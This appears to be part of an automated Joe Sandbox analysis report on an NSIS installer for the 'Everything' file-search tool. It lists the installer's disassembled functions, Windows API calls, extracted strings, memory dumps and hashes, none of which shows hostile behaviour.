\*.*, xrefs: 00405DDF
., xrefs: 00405E2F

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\*.*$\*.*
API String ID: 2035342205-2416672888
Opcode ID: 289cd794720750e683b659e452c035bb0613a8c638522424dba6aadcaa8155b3
Instruction ID: 3801e3340fbbb9c460ab277ab089a7ece50ce31247a5b640c745bca9484d7288
Opcode Fuzzy Hash: 289cd794720750e683b659e452c035bb0613a8c638522424dba6aadcaa8155b3
Instruction Fuzzy Hash: 46410330800A15AADB21AB61CC49BBF7678EF41715F50413FF881711D1DB7C4A82CEAE

Function 00406D5F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction ID: 02c1e40b0c9780dd067322b7733c474732bd0f187a49f53fd7fd3c108ee94619
Opcode Fuzzy Hash: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction Fuzzy Hash: 7CF15570D04229CBDF28CFA8C8946ADBBB0FF44305F24816ED456BB281D7386A86DF45

Function 0040699E Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(75923420,00426798,00425F50,00406088,00425F50,00425F50,00000000,00425F50,00425F50,75923420,?,75922EE0,00405D94,?,75923420,75922EE0), ref: 004069A9
FindClose.KERNEL32(00000000), ref: 004069B5

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 0ca7534fdffec89160a31ceabb6ef5ff718bfc83d1618d69d17f9e635378cbc3
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 5ED012B15192205FC34057387E0C84B7A989F563317268A36B4AAF11E0CB348C3297AC

Function 004040C5 Relevance: 63.4, APIs: 34, Strings: 2, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404101
ShowWindow.USER32(?), ref: 00404121
GetWindowLongW.USER32(?,000000F0), ref: 00404133
ShowWindow.USER32(?,00000004), ref: 0040414C
DestroyWindow.USER32 ref: 00404160
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404179
GetDlgItem.USER32(?,?), ref: 00404198
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041AC
IsWindowEnabled.USER32(00000000), ref: 004041B3
GetDlgItem.USER32(?,00000001), ref: 0040425E
GetDlgItem.USER32(?,00000002), ref: 00404268
SetClassLongW.USER32(?,000000F2,?), ref: 00404282
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D3
GetDlgItem.USER32(?,00000003), ref: 00404379
ShowWindow.USER32(00000000,?), ref: 0040439A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004043AC
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004043C7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004043DD
EnableMenuItem.USER32(00000000), ref: 004043E4
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004043FC
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040440F
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404439
SetWindowTextW.USER32(?,00423748), ref: 0040444D
ShowWindow.USER32(?,0000000A), ref: 00404581

Strings

pg, xrefs: 0040449B
H7B, xrefs: 00404429

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$CallbackDispatcherMenuUser$ClassDestroyEnableEnabledSystemTextlstrlen
String ID: H7B$pg
API String ID: 3964124867-2635604521
Opcode ID: 03bd59434f1118aca5a4335eee9f8b8dcbc4747f0f915f75e11a672c2a66a84c
Instruction ID: 1d4a55fced449df2e2a9dfc159c1061f424388fbea236c5341ec002980a30b6c
Opcode Fuzzy Hash: 03bd59434f1118aca5a4335eee9f8b8dcbc4747f0f915f75e11a672c2a66a84c
Instruction Fuzzy Hash: C0C1C2B1600604FBDB216F61EE85E2A3B78EB85745F40097EF781B51F0CB3958529B2E

Function 00403D17 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406A35: GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
Part of subcall function 00406A35: GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

lstrcatW.KERNEL32(1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,75923420,C:\Users\user\AppData\Local\Temp\,?,00000000,?), ref: 00403D98
lstrlenW.KERNEL32(Delete on reboot: ,?,?,?,Delete on reboot: ,00000000,C:\Program Files\Everything,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,75923420), ref: 00403E18
lstrcmpiW.KERNEL32(?,.exe,Delete on reboot: ,?,?,?,Delete on reboot: ,00000000,C:\Program Files\Everything,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403E2B
GetFileAttributesW.KERNEL32(Delete on reboot: ,?,00000000,?), ref: 00403E36
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Program Files\Everything), ref: 00403E7F

Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC

RegisterClassW.USER32(00429200), ref: 00403EBC
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403ED4
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403F09
ShowWindow.USER32(00000005,00000000,?,00000000,?), ref: 00403F3F
GetClassInfoW.USER32(00000000,RichEdit20W,00429200), ref: 00403F6B
GetClassInfoW.USER32(00000000,RichEdit,00429200), ref: 00403F78
RegisterClassW.USER32(00429200), ref: 00403F81
DialogBoxParamW.USER32(?,00000000,004040C5,00000000), ref: 00403FA0

Strings

RichEd32, xrefs: 00403F53
_Nb, xrefs: 00403E9B, 00403F03
.exe, xrefs: 00403E25
C:\Users\user\AppData\Local\Temp\, xrefs: 00403D1C
RichEdit20W, xrefs: 00403F63, 00403F69
H7B, xrefs: 00403D43
1033, xrefs: 00403D37, 00403D93
RichEdit, xrefs: 00403F72
Control Panel\Desktop\ResourceLocale, xrefs: 00403D4B
Delete on reboot: , xrefs: 00403DDF, 00403DE8, 00403DF6, 00403E45, 00403E4B
C:\Program Files\Everything, xrefs: 00403DA7, 00403DAF, 00403E52, 00403E58, 00403E68
.DEFAULT\Control Panel\International, xrefs: 00403D83
RichEd20, xrefs: 00403F45

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Program Files\Everything$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$Delete on reboot: $H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2359460922
Opcode ID: 175fff3e437390754c144b33b118bf01c4ebd27f56e5315c1179d745415b4b91
Instruction ID: e235badc60aeba35c86cf297cd954ec43a22164425911800af60bc979c7621a1
Opcode Fuzzy Hash: 175fff3e437390754c144b33b118bf01c4ebd27f56e5315c1179d745415b4b91
Instruction Fuzzy Hash: E661D570640201BAD730AF66AD45E2B3A7CEB84B49F40457FF945B22E1DB3D5911CA3D

Function 00404783 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404821
GetDlgItem.USER32(?,000003E8), ref: 00404835
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404852
GetSysColor.USER32(?), ref: 00404863
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404871
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040487F
lstrlenW.KERNEL32(?), ref: 00404884
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404891
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048A6
GetDlgItem.USER32(?,0000040A), ref: 004048FF
SendMessageW.USER32(00000000), ref: 00404906
GetDlgItem.USER32(?,000003E8), ref: 00404931
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404974
LoadCursorW.USER32(00000000,00007F02), ref: 00404982
SetCursor.USER32(00000000), ref: 00404985
LoadCursorW.USER32(00000000,00007F00), ref: 0040499E
SetCursor.USER32(00000000), ref: 004049A1
SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D0
SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E2

Strings

N, xrefs: 0040491F
Delete on reboot: , xrefs: 00404960
pg, xrefs: 004048DF

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Delete on reboot: $N$pg
API String ID: 3103080414-4281084878
Opcode ID: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction ID: 690b4d321b533a2a97605fa3f7bb2423a24794fe1ec6c961d913f822d5f12d1b
Opcode Fuzzy Hash: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction Fuzzy Hash: AB6181F1900209FFDB109F61CD85A6A7B69FB84304F00813AF705B62E0C7799951DFA9

Function 004030D0 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004030E4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\drivEn760.exe,00000400), ref: 00403100

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\AppData\Local\Temp\drivEn760.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\drivEn760.exe,C:\Users\user\AppData\Local\Temp\drivEn760.exe,80000000,00000003), ref: 00403149
GlobalAlloc.KERNELBASE(00000040,?), ref: 0040328B

Strings

Null, xrefs: 004031C7
C:\Users\user\AppData\Local\Temp\drivEn760.exe, xrefs: 004030EA, 004030F9, 0040310D, 0040312A
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D4
C:\Users\user\AppData\Local\Temp, xrefs: 0040312B, 00403130, 00403136
C:\Users\user\AppData\Local\Temp\, xrefs: 004030DA, 004032A3
soft, xrefs: 004031BE
Inst, xrefs: 004031B5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403322
Error launching installer, xrefs: 00403120

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\drivEn760.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1796515608
Opcode ID: 487c01b2530aec0f8e4330eaee99da1ec2838499d384e0efae62734bcdb7603c
Instruction ID: 6a7077609e6cbe8902eef3654a796be60faa9129f620d49927b75729aeb44cd1
Opcode Fuzzy Hash: 487c01b2530aec0f8e4330eaee99da1ec2838499d384e0efae62734bcdb7603c
Instruction Fuzzy Hash: 74710271A40204ABDB20DFB5DD85B9E3AACAB04315F21457FF901B72D2CB789E418B6D

Function 004066A5 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 196
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Delete on reboot: ,00000400), ref: 004067C0
GetWindowsDirectoryW.KERNEL32(Delete on reboot: ,00000400,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,?,00405701,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,00000000), ref: 004067D3
lstrcatW.KERNEL32(Delete on reboot: ,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
lstrlenW.KERNEL32(Delete on reboot: ,00000000,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,?,00405701,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000), ref: 004068A4

Strings

Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\, xrefs: 004066CA
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406844
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040678E
Delete on reboot: , xrefs: 004066CF, 00406782, 00406789, 0040678D, 004067AA, 004067BF, 004067D2, 004067E7, 00406814, 00406849, 0040684F, 0040686C, 0040687F, 0040689D, 004068A3, 004068AC, 004068E2

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: Directory$SystemWindowslstrcatlstrlen
String ID: Delete on reboot: $Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4260037668-320855418
Opcode ID: 0bd6399ae7995d446be385d385625ed2a82a790064083a211d8114e5b0378967
Instruction ID: 414c90a3e727c3679fd522760d05a71ccfd37451a898d0680c6fb4b4ce958948
Opcode Fuzzy Hash: 0bd6399ae7995d446be385d385625ed2a82a790064083a211d8114e5b0378967
Instruction Fuzzy Hash: CD61E172A02115EBDB20AF64CD40BAA37A5EF10314F22C13EE946B62D0DB3D49A1CB5D

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,"C:\Program Files\Everything\Everything.exe",C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,"C:\Program Files\Everything\Everything.exe","C:\Program Files\Everything\Everything.exe",00000000,00000000,"C:\Program Files\Everything\Everything.exe",C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything,?,?,00000031), ref: 004017D5

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 004056CA: lstrlenW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,004030A8,004030A8,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,00000000,00000000,00000000), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\,Delete on reboot: C:\Users\user\AppData\Local\Temp\nss476A.tmp\), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

Strings

State, xrefs: 00401835, 00401851
"C:\Program Files\Everything\Everything.exe", xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything, xrefs: 0040179E

Memory Dump Source

Source File: 00000003.00000002.2315048788.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2314152649.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2315981766.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000422000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000427000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000042B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.0000000000435000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000043F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2316067501.000000000044A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2318734216.000000000044D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_drivEn760.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Program Files\Everything\Everything.exe"$C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything$State
API String ID: 1941528284-2763679903
